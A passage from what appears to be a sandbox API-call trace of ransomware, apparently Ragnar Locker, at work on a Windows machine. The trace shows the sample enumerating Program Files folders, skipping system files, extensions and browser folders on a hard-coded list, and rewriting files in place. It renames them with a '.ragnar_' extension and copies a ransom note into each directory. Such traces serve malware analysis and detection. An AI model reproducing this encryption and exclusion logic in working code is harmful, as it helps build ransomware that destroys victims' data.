nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0070.212] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0070.212] WriteFile (in: hFile=0x108, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0070.213] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.213] GetProcessHeap () returned 0x580000 [0070.213] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.213] CloseHandle (hObject=0x108) returned 1 [0070.214] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" [0070.214] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.ragnar_FD7BD9FC" [0070.214] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.215] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0070.215] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0070.215] lstrcpyW (in: lpString1=0x1eb638, lpString2="WPFT632.CNV" | out: lpString1="WPFT632.CNV") returned="WPFT632.CNV" [0070.215] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned=".CNV" [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="autorun.inf") returned 1 [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="boot.ini") returned 1 [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="bootfont.bin") returned 1 [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="bootsect.bak") returned 1 [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="bootmgr") returned 1 [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="bootmgr.efi") returned 1 [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="bootmgfw.efi") returned 1 [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="desktop.ini") returned 1 [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="iconcache.db") returned 1 [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="ntldr") returned 1 [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="ntuser.dat") returned 1 [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="ntuser.dat.log") returned 1 [0070.215] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="ntuser.ini") returned 1 [0070.216] lstrcmpiW (lpString1="WPFT632.CNV", lpString2="thumbs.db") returned 1 [0070.216] lstrcmpiW (lpString1=".CNV", lpString2=".db") returned -1 [0070.216] lstrcmpiW (lpString1=".CNV", lpString2=".sys") returned -1 [0070.216] lstrcmpiW (lpString1=".CNV", lpString2=".dll") returned -1 [0070.216] lstrcmpiW (lpString1=".CNV", lpString2=".lnk") returned -1 [0070.216] lstrcmpiW (lpString1=".CNV", lpString2=".msi") returned -1 [0070.216] lstrcmpiW (lpString1=".CNV", lpString2=".drv") returned -1 [0070.216] lstrcmpiW (lpString1=".CNV", lpString2=".exe") returned -1 [0070.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv")) returned 0x20 [0070.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0070.216] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=289648) returned 1 [0070.216] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x46b67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.216] GetProcessHeap () returned 0x580000 [0070.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0070.216] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0070.219] VirtualAlloc (lpAddress=0x0, dwSize=0x46b70, flAllocationType=0x3000, flProtect=0x4) returned 0x480000 [0070.219] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.219] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0070.219] ReadFile (in: hFile=0x108, lpBuffer=0x480000, nNumberOfBytesToRead=0x46b70, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesRead=0x1eaf34*=0x46b70, lpOverlapped=0x0) returned 1 [0070.225] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0070.227] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x46b70, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.227] WriteFile (in: hFile=0x108, lpBuffer=0x480000*, nNumberOfBytesToWrite=0x46b70, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x480000*, lpNumberOfBytesWritten=0x1eaf30*=0x46b70, lpOverlapped=0x0) returned 1 [0070.228] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x46b70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.228] VirtualFree (lpAddress=0x480000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0070.229] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x46b70, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.229] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.229] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0070.230] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0070.230] WriteFile (in: hFile=0x108, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0070.230] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.230] GetProcessHeap () returned 0x580000 [0070.230] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0070.230] CloseHandle (hObject=0x108) returned 1 [0070.232] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" [0070.232] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.ragnar_FD7BD9FC" [0070.232] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0070.233] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0070.233] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0070.233] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2=".") returned 1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2="..") returned 1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2="Windows") returned -1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2="Windows.old") returned -1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2="Tor browser") returned -1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2="Internet Explorer") returned 1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2="Google") returned 1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2="Opera") returned 1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2="Opera Software") returned 1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2="Mozilla") returned 1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2="Mozilla Firefox") returned 1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2="$Recycle.Bin") returned 1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2="ProgramData") returned 1 [0070.233] lstrcmpiW (lpString1="THEMES14", lpString2="All Users") returned 1 [0070.233] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0070.233] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="THEMES14" | out: lpString1="THEMES14") returned="THEMES14" [0070.233] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\" [0070.233] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\" [0070.234] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RGNR_FD7BD9FC.txt" [0070.234] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0070.238] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*" [0070.238] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0070.238] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0070.238] lstrcpyW (in: lpString1=0x1eb224, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0070.238] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c1a8c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c1a8c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0070.248] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0070.248] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c1a8c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c1a8c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.250] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0070.250] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0070.250] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0070.253] lstrcmpiW (lpString1="AFTRNOON", lpString2=".") returned 1 [0070.253] lstrcmpiW (lpString1="AFTRNOON", lpString2="..") returned 1 [0070.253] lstrcmpiW (lpString1="AFTRNOON", lpString2="Windows") returned -1 [0070.253] lstrcmpiW (lpString1="AFTRNOON", lpString2="Windows.old") returned -1 [0070.254] lstrcmpiW (lpString1="AFTRNOON", lpString2="Tor browser") returned -1 [0070.254] lstrcmpiW (lpString1="AFTRNOON", lpString2="Internet Explorer") returned -1 [0070.254] lstrcmpiW (lpString1="AFTRNOON", lpString2="Google") returned -1 [0070.254] lstrcmpiW (lpString1="AFTRNOON", lpString2="Opera") returned -1 [0070.254] lstrcmpiW (lpString1="AFTRNOON", lpString2="Opera Software") returned -1 [0070.254] lstrcmpiW (lpString1="AFTRNOON", lpString2="Mozilla") returned -1 [0070.254] lstrcmpiW (lpString1="AFTRNOON", lpString2="Mozilla Firefox") returned -1 [0070.254] lstrcmpiW (lpString1="AFTRNOON", lpString2="$Recycle.Bin") returned 1 [0070.255] lstrcmpiW (lpString1="AFTRNOON", lpString2="ProgramData") returned -1 [0070.257] lstrcmpiW (lpString1="AFTRNOON", lpString2="All Users") returned -1 [0070.257] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0070.257] lstrcpyW (in: lpString1=0x1eb638, lpString2="AFTRNOON" | out: lpString1="AFTRNOON") returned="AFTRNOON" [0070.257] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\" [0070.257] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\" [0070.257] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\RGNR_FD7BD9FC.txt" [0070.257] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0070.606] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*" [0070.606] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0070.606] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0070.606] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0070.606] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c1f4f40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c1f4f40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0070.607] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0070.607] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7c1f4f40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7c1f4f40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.607] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0070.607] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0070.607] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0070.607] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2=".") returned 1 [0070.607] lstrcmpiW (lpString1="AFTRNOON.ELM", lpString2="..") returned 1 [0070.607] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0070.607] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2=".") returned 1 [0070.607] lstrcmpiW (lpString1="AFTRNOON.INF", lpString2="..") returned 1 [0070.607] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0070.607] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0070.607] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0070.607] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c1f4f40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7c1f4f40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0070.607] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0070.607] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0070.607] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0070.607] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0070.607] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0070.607] FindNextFileW (in: 